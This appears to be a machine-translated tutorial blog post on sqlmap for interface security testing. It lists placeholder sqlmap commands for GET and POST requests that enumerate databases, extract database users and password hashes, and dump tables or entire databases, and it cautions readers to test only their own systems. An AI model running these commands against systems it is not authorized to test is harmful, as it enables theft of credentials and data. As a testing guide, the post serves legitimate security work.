当前位置:网站首页>Sqlmap for interface security testing
Sqlmap for interface security testing
2022-06-25 20:55:00 【Gem, Chaochao】
sqlmap
brief introduction
Official website : https://sqlmap.org/
know : sqlmap Is an open source penetration testing tool , It automates detection and utilization SQL The process of injecting defects and taking over the database server .
characteristic :
1. Support MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2 And other common databases .
2. Support six SQL Injection technology is based on Boolean blind injection 、 Time based blind annotation 、 Error based injection 、 Injection based on joint query 、 Stack query injection and out of band query injection .
3. Support automatic identification of password hash format , And support the use of dictionary based attacks to crack it .
4. Support dump Database table , Can also be dump Partial column , It depends on the user's choice .
Use
reminder : Please test in your own environment , Do not test other websites for damage
Premise : The system has been configured Python Environmental Science
stay sqlmap Under the document ,shift+ Right mouse button , choice Open here Powershell window
get request
#--batch Default confirmation , Don't ask if you enter
# Get all databases
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --dbs
# Get the database for the interface
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --current-db
# Get all users and passwords in the database
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --users --passwords
# Get the user name for this interface
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --current-user
# Get all tables of a database
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch -D Library name --tables
# Get all column names of a database and a table
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch -D Library name -T Table name --columns
# Get the value of a column of a table in a database
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch -D Library name -T Table name -C Name , Name --start Go ahead --stop End line --dump
# Get the data of the following tables of all libraries
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --dump-all
post request
#--batch Default confirmation , Don't ask if you enter
# Get all databases
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --dbs
# Get the database for the interface
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --current-db
# Get all users and passwords in the database
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --users --passwords
# Get the user name for this interface
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --current-user
# Get all tables of a database
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch -D Library name --tables
# Get all column names of a database and a table
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch -D Library name -T Table name --columns
# Get the value of a column of a table in a database
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch -D Library name -T Table name -C Name , Name --start Go ahead --stop End line --dump
# Get the data of the following tables of all libraries
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --dump-all
legend
Safe
all tested parameters do not appear to be injectable
None of the test parameters seem to inject

Not safe

边栏推荐
- Day 29/100 local SSH password free login to remote
- 1.1-mq visual client preliminary practice
- Leetcode daily question - 27 Remove element (simple)
- [distributed system design profile (1)] raft
- [machine learning] machine learning from zero to mastery -- teach you to understand the principle of decision tree
- Interview shock: talk about thread life cycle and transformation process?
- What are the differences between domestic advanced anti DDoS servers and overseas advanced anti DDoS servers?
- Redis common principles interview
- Node connection MySQL
- Redis core principle and design idea
猜你喜欢
![[opencv] opencv from introduction to mastery -- detailed explanation of input and output XML and yaml files](/img/88/75c4caacef30e0621106a4e3462367.jpg)
[opencv] opencv from introduction to mastery -- detailed explanation of input and output XML and yaml files

After 20 days' interview, I finally joined Ali (share the interview process)

Install JDK, MySQL and nexus under Linux (tar package installation)
MySQL installation tutorial

Insert and update each database

Slenium tips: how to handle some dialog boxes that may appear on Web pages
Exploration of advanced document editor design in online Era

Barrier of cursor application scenario
[distributed system design profile (1)] raft

Compile 6relayd using the cross compiler
随机推荐
Win10 common software
Baidu AI Financing Innovation workshop enrollment!
Splunk series: Splunk data import (II)
[distributed system design profile (1)] raft
2022年启牛学堂证券开户安全嘛?
Cloud development practice of the small program for brushing questions in the postgraduate entrance examination - page design and production (home page of the question bank, ranking page, my)
Several methods of obtaining function annotation text on pycharm
A simple file searcher
Leetcode daily question - 28 Implement strstr() (simple)
Yolov4 improved version comes out! Yolov4 extended edition! Yolov4 launched scaled-yolov4: scaling cross stage partial network
Interviewer: why does TCP shake hands three times and break up four times? Most people can't answer!
Vbpr (visual Bayesian personalized ranking) paper summary
Cross project measurement is a good helper for CTOs and PMOS
Lantern Festival, learning at the right time! Novice training camp attacks again, learning buff continues to fill up
How to play one to many in JPA?
Those high-frequency and real software test interview questions sorted out by the test director in 7 days, come to get
Chrome plugin installation
The beginning of manjaro's journey
[opencv] opencv from introduction to mastery -- detailed explanation of input and output XML and yaml files
Reasons for network timeout app flash back